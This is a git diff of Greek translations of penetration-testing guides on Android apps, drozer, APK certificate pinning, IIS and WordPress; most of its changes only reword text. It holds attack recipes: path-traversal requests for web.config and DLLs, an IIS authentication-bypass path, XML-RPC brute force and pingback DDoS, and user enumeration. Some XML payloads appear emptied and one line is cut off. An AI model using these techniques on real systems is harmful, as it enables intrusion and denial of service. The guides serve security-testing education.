επιτρέπει στα αντικείμενα Java να αλληλεπιδρούν με τη JavaScript, απαιτώντας οι μέθοδοι να είναι επισημασμένες με `@JavascriptInterface` για ασφάλεια από την Android 4.2 και μετά. -Η επιτρεπόμενη πρόσβαση περιεχομένου (`setAllowContentAccess(true)`) επιτρέπει στις WebViews να προσεγγίζουν τους Content Providers, κάτι που θα μπορούσε να είναι κίνδυνος εκτός αν οι διευθύνσεις URL περιεχομένου επιβεβαιωθούν ως ασφαλείς. +Η επιτρεπόμενη πρόσβαση περιεχομένου (`setAllowContentAccess(true)`) επιτρέπει στις WebViews να προσεγγίζουν Content Providers, κάτι που θα μπορούσε να είναι κίνδυνος εκτός αν οι διευθύνσεις URL περιεχομένου επαληθευτούν ως ασφαλείς. Για τον έλεγχο πρόσβασης σε αρχεία: @@ -346,7 +346,7 @@ WebViews είναι σαν **μικροί περιηγητές ιστού** μέ ### **Ψηφιακή Υπογραφή Εφαρμογών** -- **Ψηφιακή υπογραφή** είναι απαραίτητη για τις εφαρμογές Android, διασφαλίζοντας ότι είναι **αυθεντικά συγγραφείς** πριν από την εγκατάσταση. Αυτή η διαδικασία χρησιμοποιεί ένα πιστοποιητικό για την αναγνώριση της εφαρμογής και πρέπει να επαληθευτεί από τον διαχειριστή πακέτων της συσκευής κατά την εγκατάσταση. Οι εφαρμογές μπορούν να είναι **αυτο-υπογεγραμμένες ή πιστοποιημένες από εξωτερικό CA**, προστατεύοντας από μη εξουσιοδοτημένη πρόσβαση και διασφαλίζοντας ότι η εφαρμογή παραμένει αμετάβλητη κατά την παράδοσή της στη συσκευή. +- **Ψηφιακή υπογραφή** είναι απαραίτητη για τις εφαρμογές Android, διασφαλίζοντας ότι είναι **αυθεντικά συγγραφείς** πριν από την εγκατάσταση. Αυτή η διαδικασία χρησιμοποιεί ένα πιστοποιητικό για την αναγνώριση της εφαρμογής και πρέπει να επαληθευτεί από τον διαχειριστή πακέτων της συσκευής κατά την εγκατάσταση. Οι εφαρμογές μπορούν να είναι **αυτο-υπογεγραμμένες ή πιστοποιημένες από μια εξωτερική CA**, προστατεύοντας από μη εξουσιοδοτημένη πρόσβαση και διασφαλίζοντας ότι η εφαρμογή παραμένει αμετάβλητη κατά την παράδοσή της στη συσκευή. ### **Επαλήθευση Εφαρμογών για Αυξημένη Ασφάλεια** @@ -354,7 +354,7 @@ WebViews είναι σαν **μικροί περιηγητές ιστού** μέ ### **Διαχείριση Κινητών Συσκευών (MDM)** -- Οι **λύσεις MDM** παρέχουν **επίβλεψη και ασφάλεια** για κινητές συσκευές μέσω του **Device Administration API**. Απαιτούν την εγκατάσταση μιας εφαρμογής Android για να διαχειρίζονται και να ασφαλίζουν αποτελεσματικά τις κινητές συσκευές. Οι βασικές λειτουργίες περιλαμβάνουν **επιβολή πολιτικών κωδικών πρόσβασης**, **υποχρεωτική κρυπτογράφηση αποθήκευσης** και **άδεια απομακρυσμένης διαγραφής δεδομένων**, διασφαλίζοντας πλήρη έλεγχο και ασφάλεια πάνω στις κινητές συσκευές. +- **Λύσεις MDM** παρέχουν **επίβλεψη και ασφάλεια** για κινητές συσκευές μέσω του **Device Administration API**. Απαιτούν την εγκατάσταση μιας εφαρμογής Android για να διαχειρίζονται και να ασφαλίζουν αποτελεσματικά τις κινητές συσκευές. Οι βασικές λειτουργίες περιλαμβάνουν **επιβολή πολιτικών κωδικών πρόσβασης**, **υποχρεωτική κρυπτογράφηση αποθήκευσης**, και **άδεια απομακρυσμένης διαγραφής δεδομένων**, διασφαλίζοντας πλήρη έλεγχο και ασφάλεια πάνω στις κινητές συσκευές. ```java // Example of enforcing a password policy with MDM DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE); diff --git a/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md b/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md index 8c64ce14d..aab58ffc5 100644 --- a/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md +++ b/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md @@ -25,7 +25,7 @@ adb install drozer.apk ``` ### Starting the Server -Agent is running on port 31415, we need to [port forward](https://en.wikipedia.org/wiki/Port_forwarding) για να καθορίσουμε την επικοινωνία μεταξύ του Drozer Client και του Agent, εδώ είναι η εντολή για να το κάνουμε: +Agent είναι σε λειτουργία στη θύρα 31415, πρέπει να [port forward](https://en.wikipedia.org/wiki/Port_forwarding) για να καθορίσουμε την επικοινωνία μεταξύ του Drozer Client και του Agent, εδώ είναι η εντολή για να το κάνουμε: ```bash adb forward tcp:31415 tcp:31415 ``` @@ -41,18 +41,18 @@ drozer console connect | **Commands** | **Description** | | --------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------ | -| **Help MODULE** | Εμφανίζει βοήθεια για το επιλεγμένο module | -| **list** | Εμφανίζει μια λίστα με όλα τα drozer modules που μπορούν να εκτελούνται στην τρέχουσα συνεδρία. Αυτό κρύβει modules για τα οποία δεν έχετε κατάλληλες άδειες εκτέλεσης. | +| **Help MODULE** | Δείχνει βοήθεια για το επιλεγμένο module | +| **list** | Δείχνει μια λίστα με όλα τα drozer modules που μπορούν να εκτελούνται στην τρέχουσα συνεδρία. Αυτό κρύβει modules που δεν έχετε κατάλληλες άδειες για να εκτελέσετε. | | **shell** | Ξεκινά μια διαδραστική Linux shell στη συσκευή, στο πλαίσιο του Agent. | -| **clean** | Αφαιρεί τα προσωρινά αρχεία που αποθηκεύει το drozer στη συσκευή Android. | -| **load** | Φορτώνει ένα αρχείο που περιέχει εντολές drozer και τις εκτελεί διαδοχικά. | -| **module** | Βρίσκει και εγκαθιστά επιπλέον drozer modules από το Διαδίκτυο. | -| **unset** | Αφαιρεί μια ονομαστική μεταβλητή που περνάει το drozer σε οποιαδήποτε Linux shells που δημιουργεί. | -| **set** | Αποθηκεύει μια τιμή σε μια μεταβλητή που θα περαστεί ως περιβαλλοντική μεταβλητή σε οποιαδήποτε Linux shells που δημιουργεί το drozer. | -| **shell** | Ξεκινά μια διαδραστική Linux shell στη συσκευή, στο πλαίσιο του Agent | -| **run MODULE** | Εκτελεί ένα drozer module | -| **exploit** | Το Drozer μπορεί να δημιουργήσει exploits για εκτέλεση στη συσκευή. `drozer exploit list` | -| **payload** | Τα exploits χρειάζονται ένα payload. `drozer payload list` | +| **clean** | Αφαιρεί τα προσωρινά αρχεία που αποθηκεύει το drozer στη συσκευή Android. | +| **load** | Φορτώνει ένα αρχείο που περιέχει εντολές drozer και τις εκτελεί διαδοχικά. | +| **module** | Βρίσκει και εγκαθιστά επιπλέον drozer modules από το Διαδίκτυο. | +| **unset** | Αφαιρεί μια ονομαστική μεταβλητή που το drozer περνά σε οποιαδήποτε Linux shells που δημιουργεί. | +| **set** | Αποθηκεύει μια τιμή σε μια μεταβλητή που θα περαστεί ως περιβαλλοντική μεταβλητή σε οποιαδήποτε Linux shells που δημιουργεί το drozer. | +| **shell** | Ξεκινά μια διαδραστική Linux shell στη συσκευή, στο πλαίσιο του Agent | +| **run MODULE** | Εκτελεί ένα drozer module | +| **exploit** | Το drozer μπορεί να δημιουργήσει exploits για εκτέλεση στη συσκευή. `drozer exploit list` | +| **payload** | Τα exploits χρειάζονται ένα payload. `drozer payload list` | ### Package @@ -103,7 +103,7 @@ is debuggable ### Δραστηριότητες Η τιμή “android:exported” ενός εξαγόμενου συστατικού δραστηριότητας είναι ρυθμισμένη σε **“true”** στο αρχείο AndroidManifest.xml: -```markup +```html ``` @@ -135,14 +135,14 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity ### Services Μια εξαγόμενη υπηρεσία δηλώνεται μέσα στο Manifest.xml: -```markup +```html ``` Μέσα στον κώδικα **check** για τη \*\*`handleMessage`\*\* συνάρτηση η οποία θα **λάβει** το **μήνυμα**: ![](<../../../images/image (82).png>) -#### Λίστα υπηρεσιών +#### Λίστα υπηρεσίας ```bash dz> run app.service.info -a com.mwr.example.sieve Package: com.mwr.example.sieve @@ -163,7 +163,7 @@ app.service.stop Stop Service ![](<../../../images/image (1079).png>) -Σημειώστε ότι θα στείλετε πρώτα τα δεδομένα μέσα στο "_msg.what_", στη συνέχεια το "_msg.arg1_" και το "_msg.arg2_", θα πρέπει να ελέγξετε μέσα στον κώδικα **ποια πληροφορία χρησιμοποιείται** και πού.\ +Σημειώστε ότι θα στείλετε πρώτα τα δεδομένα μέσα στο "_msg.what_", στη συνέχεια "_msg.arg1_" και "_msg.arg2_", θα πρέπει να ελέγξετε μέσα στον κώδικα **ποια πληροφορία χρησιμοποιείται** και πού.\ Χρησιμοποιώντας την επιλογή `--extra` μπορείτε να στείλετε κάτι που ερμηνεύεται από το "_msg.replyTo_", και χρησιμοποιώντας `--bundle-as-obj` δημιουργείτε ένα αντικείμενο με τις παρεχόμενες λεπτομέρειες. Στο παρακάτω παράδειγμα: @@ -187,7 +187,7 @@ run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --m ```bash run app.broadcast.info #Detects all ``` -#### Ελέγξτε τους δέκτες εκπομπής μιας εφαρμογής +#### Έλεγχος των broadcast receivers μιας εφαρμογής ```bash #Check one negative run app.broadcast.info -a jakhar.aseem.diva diff --git a/src/mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md b/src/mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md index 4ad8cb399..e0094e985 100644 --- a/src/mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md +++ b/src/mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md @@ -2,17 +2,17 @@ Ορισμένες εφαρμογές δεν δέχονται πιστοποιητικά που έχουν κατεβάσει οι χρήστες, οπότε για να επιθεωρήσουμε την κίνηση του ιστού για ορισμένες εφαρμογές, πρέπει στην πραγματικότητα να αποσυμπιέσουμε την εφαρμογή & να προσθέσουμε μερικά πράγματα & να την ξανασυμπιέσουμε. -# Αυτόματη +# Αυτόματα Το εργαλείο [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) θα **αυτόματα** κάνει τις απαραίτητες αλλαγές στην εφαρμογή για να αρχίσει να καταγράφει τα αιτήματα και θα απενεργοποιήσει επίσης την πιστοποίηση πιστοποιητικών (αν υπάρχει). -# Χειροκίνητη +# Χειροκίνητα -Πρώτα αποσυμπιέζουμε την εφαρμογή: `apktool d *file-name*.apk` +Αρχικά αποσυμπιέζουμε την εφαρμογή: `apktool d *file-name*.apk` ![](../../images/img9.png) -Στη συνέχεια, πηγαίνουμε στο αρχείο **Manifest.xml** & κυλήσουμε προς τα κάτω στην ετικέτα `<\application android>` & θα προσθέσουμε την παρακάτω γραμμή αν δεν υπάρχει ήδη: +Στη συνέχεια, πηγαίνουμε στο αρχείο **Manifest.xml** & κυλάμε προς τα κάτω στην ετικέτα `<\application android>` & θα προσθέσουμε την παρακάτω γραμμή αν δεν υπάρχει ήδη: `android:networkSecurityConfig="@xml/network_security_config"` @@ -25,7 +25,7 @@ ![](../../images/img11.png) Τώρα πηγαίνουμε στον φάκελο **res/xml** & δημιουργούμε/τροποποιούμε ένα αρχείο με το όνομα network_security_config.xml με τα παρακάτω περιεχόμενα: -```markup +```html @@ -37,7 +37,7 @@ ``` -Στη συνέχεια, αποθηκεύστε το αρχείο και βγείτε από όλους τους καταλόγους και ξαναχτίστε το apk με την παρακάτω εντολή: `apktool b *folder-name/* -o *output-file.apk*` +Στη συνέχεια, αποθηκεύστε το αρχείο και βγείτε από όλους τους φακέλους και ξαναχτίστε το apk με την παρακάτω εντολή: `apktool b *folder-name/* -o *output-file.apk*` ![](../../images/img12.png) diff --git a/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md b/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md index aa80a0841..a0250c81a 100644 --- a/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md +++ b/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md @@ -59,7 +59,7 @@ iisfinal.txt Ελέγξτε την πλήρη ανάλυση στο: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html) > [!NOTE] -> Ως περίληψη, υπάρχουν αρκετά αρχεία web.config μέσα στους φακέλους της εφαρμογής με αναφορές σε αρχεία "**assemblyIdentity**" και "**namespaces**". Με αυτές τις πληροφορίες είναι δυνατόν να γνωρίζετε **πού βρίσκονται τα εκτελέσιμα** και να τα κατεβάσετε.\ +> Ως σύνοψη, υπάρχουν αρκετά αρχεία web.config μέσα στους φακέλους της εφαρμογής με αναφορές σε αρχεία "**assemblyIdentity**" και "**namespaces**". Με αυτές τις πληροφορίες είναι δυνατόν να γνωρίζετε **πού βρίσκονται τα εκτελέσιμα** και να τα κατεβάσετε.\ > Από τα **κατεβασμένα Dlls** είναι επίσης δυνατόν να βρείτε **νέα namespaces** όπου θα πρέπει να προσπαθήσετε να αποκτήσετε πρόσβαση και να αποκτήσετε το αρχείο web.config προκειμένου να βρείτε νέα namespaces και assemblyIdentity.\ > Επίσης, τα αρχεία **connectionstrings.config** και **global.asax** μπορεί να περιέχουν ενδιαφέρουσες πληροφορίες. @@ -68,7 +68,7 @@ iisfinal.txt ### **Εξερεύνηση Δυαδικών Αρχείων** Ένα παράδειγμα πρόσβασης στο αρχείο **web.config** φαίνεται παρακάτω: -```markup +```html GET /download_page?id=..%2f..%2fweb.config HTTP/1.1 Host: example-mvc-application.minded ``` @@ -77,7 +77,7 @@ Host: example-mvc-application.minded - **EntityFramework** έκδοση - **AppSettings** για ιστοσελίδες, έλεγχο πελατών και JavaScript - **System.web** ρυθμίσεις για αυθεντικοποίηση και χρόνο εκτέλεσης -- **System.webServer** ρυθμίσεις modules +- **System.webServer** ρυθμίσεις μονάδων - **Runtime** δεσμεύσεις assembly για πολλές βιβλιοθήκες όπως **Microsoft.Owin**, **Newtonsoft.Json**, και **System.Web.Mvc** Αυτές οι ρυθμίσεις υποδεικνύουν ότι ορισμένα αρχεία, όπως το **/bin/WebGrease.dll**, βρίσκονται μέσα στον φάκελο /bin της εφαρμογής. @@ -88,15 +88,15 @@ Host: example-mvc-application.minded ### **Namespaces και Web.Config** -Οι εφαρμογές MVC ορίζουν επίσης επιπλέον **web.config αρχεία** για συγκεκριμένα namespaces ώστε να αποφεύγονται οι επαναλαμβανόμενες δηλώσεις σε κάθε αρχείο, όπως αποδεικνύεται με ένα αίτημα για λήψη ενός άλλου **web.config**: -```markup +Οι εφαρμογές MVC ορίζουν επίσης επιπλέον **web.config +```html GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1 Host: example-mvc-application.minded ``` ### **Λήψη DLLs** -Η αναφορά σε ένα προσαρμοσμένο namespace υποδηλώνει μια DLL με όνομα "**WebApplication1**" που υπάρχει στον φάκελο /bin. Ακολουθώντας αυτό, εμφανίζεται ένα αίτημα για λήψη του **WebApplication1.dll**: -```markup +Η αναφορά σε ένα προσαρμοσμένο namespace υποδηλώνει μια DLL με όνομα "**WebApplication1**" που είναι παρούσα στον φάκελο /bin. Ακολουθώντας αυτό, εμφανίζεται ένα αίτημα για λήψη της **WebApplication1.dll**: +```html GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1 Host: example-mvc-application.minded ``` @@ -192,14 +192,14 @@ C:\xampp\tomcat\conf\server.xml Σημαίνει ότι ο διακομιστής **δεν έλαβε το σωστό όνομα τομέα** μέσα στην κεφαλίδα Host.\ Για να αποκτήσετε πρόσβαση στη σελίδα, μπορείτε να ρίξετε μια ματιά στο **SSL Certificate** που εξυπηρετείται και ίσως να βρείτε το όνομα τομέα/υποτομέα εκεί. Αν δεν είναι εκεί, ίσως χρειαστεί να **brute force VHosts** μέχρι να βρείτε το σωστό. -## Old IIS vulnerabilities worth looking for +## Παλιές ευπάθειες IIS που αξίζει να αναζητήσετε ### Microsoft IIS tilde character “\~” Vulnerability/Feature – Short File/Folder Name Disclosure -Μπορείτε να προσπαθήσετε να **καταγράψετε φακέλους και αρχεία** μέσα σε κάθε ανακαλυφθέντα φάκελο (ακόμα και αν απαιτεί Βασική Αυθεντικοποίηση) χρησιμοποιώντας αυτή την **τεχνική**.\ +Μπορείτε να προσπαθήσετε να **enumerate folders and files** μέσα σε κάθε ανακαλυφθέν φάκελο (ακόμα και αν απαιτεί Basic Authentication) χρησιμοποιώντας αυτή την **τεχνική**.\ Ο κύριος περιορισμός αυτής της τεχνικής αν ο διακομιστής είναι ευάλωτος είναι ότι **μπορεί να βρει μόνο μέχρι τα πρώτα 6 γράμματα του ονόματος κάθε αρχείου/φακέλου και τα πρώτα 3 γράμματα της επέκτασης** των αρχείων. -Μπορείτε να χρησιμοποιήσετε [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) για να δοκιμάσετε αυτή την ευπάθεια: `java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/` +Μπορείτε να χρησιμοποιήσετε [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) για να δοκιμάσετε αυτή την ευπάθεια:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/` ![](<../../images/image (844).png>) @@ -211,9 +211,9 @@ C:\xampp\tomcat\conf\server.xml ### Basic Authentication bypass -**Bypass** μιας βασικής αυθεντικοποίησης (**IIS 7.5**) προσπαθώντας να αποκτήσετε πρόσβαση: `/admin:$i30:$INDEX_ALLOCATION/admin.php` ή `/admin::$INDEX_ALLOCATION/admin.php` +**Bypass** μια βασική αυθεντικοποίηση (**IIS 7.5**) προσπαθώντας να αποκτήσετε πρόσβαση: `/admin:$i30:$INDEX_ALLOCATION/admin.php` ή `/admin::$INDEX_ALLOCATION/admin.php` -Μπορείτε να προσπαθήσετε να **συνδυάσετε** αυτή την **ευπάθεια** και την τελευταία για να βρείτε νέους **φακέλους** και να **παρακάμψετε** την αυθεντικοποίηση. +Μπορείτε να προσπαθήσετε να **μείξετε** αυτή την **ευπάθεια** και την τελευταία για να βρείτε νέους **φακέλους** και να **bypass** την αυθεντικοποίηση. ## ASP.NET Trace.AXD enabled debugging @@ -221,7 +221,7 @@ C:\xampp\tomcat\conf\server.xml Διατηρεί ένα πολύ λεπτομερές αρχείο καταγραφής όλων των αιτημάτων που έγιναν σε μια εφαρμογή κατά τη διάρκεια μιας περιόδου. -Αυτές οι πληροφορίες περιλαμβάνουν IP απομακρυσμένων πελατών, IDs συνεδρίας, όλα τα cookies αιτήματος και απάντησης, φυσικές διαδρομές, πληροφορίες πηγαίου κώδικα και ενδεχομένως ακόμα και ονόματα χρηστών και κωδικούς πρόσβασης. +Αυτές οι πληροφορίες περιλαμβάνουν IP απομακρυσμένων πελατών, IDs συνεδρίας, όλα τα cookies αιτήσεων και απαντήσεων, φυσικούς δρόμους, πληροφορίες πηγαίου κώδικα και ενδεχομένως ακόμα και ονόματα χρηστών και κωδικούς πρόσβασης. [https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/](https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/) @@ -236,12 +236,12 @@ C:\xampp\tomcat\conf\server.xml - **`decryptionIV`** (string): αρχικοποιητικός διανύσματος σε μορφή hex (προεπιλογή ένα διανύσμα μηδενικών). - **`decryptionKey`** (string): κλειδί σε μορφή hex για χρήση στην αποκρυπτογράφηση. -Ωστόσο, κάποιοι άνθρωποι θα χρησιμοποιήσουν τις **προεπιλεγμένες τιμές** αυτών των παραμέτρων και θα χρησιμοποιήσουν ως **cookie το email του χρήστη**. Επομένως, αν μπορείτε να βρείτε έναν ιστότοπο που χρησιμοποιεί την **ίδια πλατφόρμα** που χρησιμοποιεί το cookie ASPXAUTH και **δημιουργήσετε έναν χρήστη με το email του χρήστη που θέλετε να προσποιηθείτε** στον διακομιστή που δέχεται επίθεση, μπορεί να είστε σε θέση να χρησιμοποιήσετε το cookie από τον δεύτερο διακομιστή στον πρώτο και να προσποιηθείτε τον χρήστη.\ +Ωστόσο, κάποιοι άνθρωποι θα χρησιμοποιήσουν τις **προεπιλεγμένες τιμές** αυτών των παραμέτρων και θα χρησιμοποιήσουν ως **cookie το email του χρήστη**. Επομένως, αν μπορείτε να βρείτε έναν ιστότοπο που χρησιμοποιεί την **ίδια πλατφόρμα** που χρησιμοποιεί το cookie ASPXAUTH και **δημιουργήσετε έναν χρήστη με το email του χρήστη που θέλετε να προσποιηθείτε** στον διακομιστή που δέχεται επίθεση, μπορεί να είστε σε θέση να χρησιμοποιήσετε **το cookie από τον δεύτερο διακομιστή στον πρώτο** και να προσποιηθείτε τον χρήστη.\ Αυτή η επίθεση λειτούργησε σε αυτή την [**writeup**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19). ## IIS Authentication Bypass with cached passwords (CVE-2022-30209) -[Full report here](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): Ένα σφάλμα στον κώδικα **δεν έλεγξε σωστά τον κωδικό πρόσβασης που δόθηκε από τον χρήστη**, έτσι ένας επιτιθέμενος του οποίου **ο κατακερματισμένος κωδικός πρόσβασης χτυπά ένα κλειδί** που είναι ήδη στην **κρυφή μνήμη** θα μπορεί να συνδεθεί ως αυτός ο χρήστης. +[Full report here](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): Ένα σφάλμα στον κώδικα **δεν έλεγξε σωστά τον κωδικό πρόσβασης που δόθηκε από τον χρήστη**, έτσι ένας επιτιθέμενος του οποίου **ο κωδικός πρόσβασης hash χτυπά ένα κλειδί** που είναι ήδη στην **cache** θα μπορεί να συνδεθεί ως αυτός ο χρήστης. ```python # script for sanity check > type test.py diff --git a/src/network-services-pentesting/pentesting-web/wordpress.md b/src/network-services-pentesting/pentesting-web/wordpress.md index 22c6b3121..59eccfbb0 100644 --- a/src/network-services-pentesting/pentesting-web/wordpress.md +++ b/src/network-services-pentesting/pentesting-web/wordpress.md @@ -35,10 +35,10 @@ ### Users Permissions - **Administrator** -- **Editor**: Δημοσιεύει και διαχειρίζεται τις δικές του και άλλες αναρτήσεις +- **Editor**: Δημοσιεύει και διαχειρίζεται τις αναρτήσεις του και άλλων - **Author**: Δημοσιεύει και διαχειρίζεται τις δικές του αναρτήσεις - **Contributor**: Γράφει και διαχειρίζεται τις αναρτήσεις του αλλά δεν μπορεί να τις δημοσιεύσει -- **Subscriber**: Περιηγείται σε αναρτήσεις και επεξεργάζεται το προφίλ του +- **Subscriber**: Περιηγείται στις αναρτήσεις και επεξεργάζεται το προφίλ του ## **Passive Enumeration** @@ -64,7 +64,7 @@ curl https://victim.com/ | grep 'content="WordPress' ![](<../../images/image (524).png>) -### Λάβετε Plugins +### Λάβετε Πρόσθετα ```bash curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 ``` @@ -91,28 +91,28 @@ curl -s -I -X GET http://blog.example.com/?author=1 ``` Αν οι απαντήσεις είναι **200** ή **30X**, αυτό σημαίνει ότι το id είναι **έγκυρο**. Αν η απάντηση είναι **400**, τότε το id είναι **άκυρο**. -- **wp-json:** Μπορείτε επίσης να προσπαθήσετε να αποκτήσετε πληροφορίες σχετικά με τους χρήστες κάνοντας ερώτηση: +- **wp-json:** Μπορείτε επίσης να προσπαθήσετε να αποκτήσετε πληροφορίες σχετικά με τους χρήστες κάνοντας ερώτημα: ```bash curl http://blog.example.com/wp-json/wp/v2/users ``` -Ένα άλλο `/wp-json/` endpoint που μπορεί να αποκαλύψει κάποιες πληροφορίες σχετικά με τους χρήστες είναι: +Ένα άλλο endpoint `/wp-json/` που μπορεί να αποκαλύψει κάποιες πληροφορίες σχετικά με τους χρήστες είναι: ```bash curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL ``` -Σημειώστε ότι αυτό το endpoint εκθέτει μόνο χρήστες που έχουν κάνει μια ανάρτηση. **Μόνο πληροφορίες για τους χρήστες που έχουν ενεργοποιήσει αυτή τη δυνατότητα θα παρέχονται**. +Σημειώστε ότι αυτό το endpoint εκθέτει μόνο χρήστες που έχουν κάνει μια ανάρτηση. **Μόνο πληροφορίες σχετικά με τους χρήστες που έχουν ενεργοποιήσει αυτή τη δυνατότητα θα παρέχονται**. Επίσης σημειώστε ότι **/wp-json/wp/v2/pages** θα μπορούσε να διαρρεύσει διευθύνσεις IP. -- **Εξακρίβωση ονόματος χρήστη σύνδεσης**: Όταν συνδέεστε στο **`/wp-login.php`** το **μήνυμα** είναι **διαφορετικό** αν το υποδεικνυόμενο **όνομα χρήστη υπάρχει ή όχι**. +- **Αναγνώριση ονόματος χρήστη κατά την είσοδο**: Όταν συνδέεστε στο **`/wp-login.php`** το **μήνυμα** είναι **διαφορετικό** αν το υποδεικνυόμενο **όνομα χρήστη υπάρχει ή όχι**. ### XML-RPC -Αν το `xml-rpc.php` είναι ενεργό μπορείτε να εκτελέσετε brute-force πιστοποίησης ή να το χρησιμοποιήσετε για να εκκινήσετε επιθέσεις DoS σε άλλους πόρους. (Μπορείτε να αυτοματοποιήσετε αυτή τη διαδικασία[ χρησιμοποιώντας αυτό](https://github.com/relarizky/wpxploit) για παράδειγμα). +Αν το `xml-rpc.php` είναι ενεργό, μπορείτε να εκτελέσετε brute-force πιστοποιητικών ή να το χρησιμοποιήσετε για να εκκινήσετε επιθέσεις DoS σε άλλους πόρους. (Μπορείτε να αυτοματοποιήσετε αυτή τη διαδικασία[ χρησιμοποιώντας αυτό](https://github.com/relarizky/wpxploit) για παράδειγμα). -Για να δείτε αν είναι ενεργό προσπαθήστε να αποκτήσετε πρόσβαση στο _**/xmlrpc.php**_ και στείλτε αυτό το αίτημα: +Για να δείτε αν είναι ενεργό, προσπαθήστε να αποκτήσετε πρόσβαση στο _**/xmlrpc.php**_ και στείλτε αυτό το αίτημα: **Έλεγχος** -```markup +```html system.listMethods @@ -122,8 +122,8 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL **Bruteforce Διαπιστευτήρια** -**`wp.getUserBlogs`**, **`wp.getCategories`** ή **`metaWeblog.getUsersBlogs`** είναι μερικές από τις μεθόδους που μπορούν να χρησιμοποιηθούν για να γίνει bruteforce στα διαπιστευτήρια. Αν μπορέσετε να βρείτε οποιαδήποτε από αυτές, μπορείτε να στείλετε κάτι σαν: -```markup +**`wp.getUserBlogs`**, **`wp.getCategories`** ή **`metaWeblog.getUsersBlogs`** είναι μερικές από τις μεθόδους που μπορούν να χρησιμοποιηθούν για να γίνει bruteforce διαπιστευτηρίων. Αν μπορέσετε να βρείτε οποιαδήποτε από αυτές, μπορείτε να στείλετε κάτι σαν: +```html wp.getUsersBlogs @@ -139,7 +139,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL ![](<../../images/image (721).png>) Χρησιμοποιώντας τα σωστά διαπιστευτήρια μπορείτε να ανεβάσετε ένα αρχείο. Στην απάντηση, η διαδρομή θα εμφανίζεται ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982)) -```markup +```html wp.uploadFile @@ -180,7 +180,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL Αν μπορείτε να βρείτε τη μέθοδο _**pingback.ping**_ μέσα στη λίστα, μπορείτε να κάνετε το Wordpress να στείλει μια αυθαίρετη αίτηση σε οποιονδήποτε host/port.\ Αυτό μπορεί να χρησιμοποιηθεί για να ζητήσετε **χιλιάδες** Wordpress **ιστοσελίδες** να **προσεγγίσουν** μία **τοποθεσία** (έτσι προκαλείται ένα **DDoS** σε αυτή την τοποθεσία) ή μπορείτε να το χρησιμοποιήσετε για να κάνετε το **Wordpress** να **σκανάρει** κάποιο εσωτερικό **δίκτυο** (μπορείτε να υποδείξετε οποιαδήποτε θύρα). -```markup +```html pingback.ping @@ -196,7 +196,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL Ρίξτε μια ματιά στη χρήση του **`system.multicall`** στην προηγούμενη ενότητα για να μάθετε πώς να εκμεταλλευτείτε αυτή τη μέθοδο για να προκαλέσετε DDoS. **DDoS** -```markup +```html pingback.ping @@ -211,7 +211,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL Αυτό το αρχείο συνήθως υπάρχει κάτω από τη ρίζα της ιστοσελίδας Wordpress: **`/wp-cron.php`**\ Όταν αυτό το αρχείο είναι **προσβάσιμο**, εκτελείται ένα "**βαρύ**" MySQL **ερώτημα**, οπότε θα μπορούσε να χρησιμοποιηθεί από **επιτιθέμενους** για να **προκαλέσει** μια **DoS**.\ -Επίσης, από προεπιλογή, το `wp-cron.php` καλείται σε κάθε φόρτωση σελίδας (κάθε φορά που ένας πελάτης ζητά οποιαδήποτε σελίδα Wordpress), το οποίο σε ιστοσελίδες με υψηλή επισκεψιμότητα μπορεί να προκαλέσει προβλήματα (DoS). +Επίσης, από προεπιλογή, το `wp-cron.php` καλείται σε κάθε φόρτωση σελίδας (κάθε φορά που ένας πελάτης ζητά οποιαδήποτε σελίδα Wordpress), γεγονός που σε ιστοσελίδες με υψηλή επισκεψιμότητα μπορεί να προκαλέσει προβλήματα (DoS). Συνιστάται να απενεργοποιήσετε το Wp-Cron και να δημιουργήσετε μια πραγματική cronjob μέσα στον διακομιστή που να εκτελεί τις απαραίτητες ενέργειες σε τακτά χρονικά διαστήματα (χωρίς να προκαλεί προβλήματα). @@ -269,7 +269,7 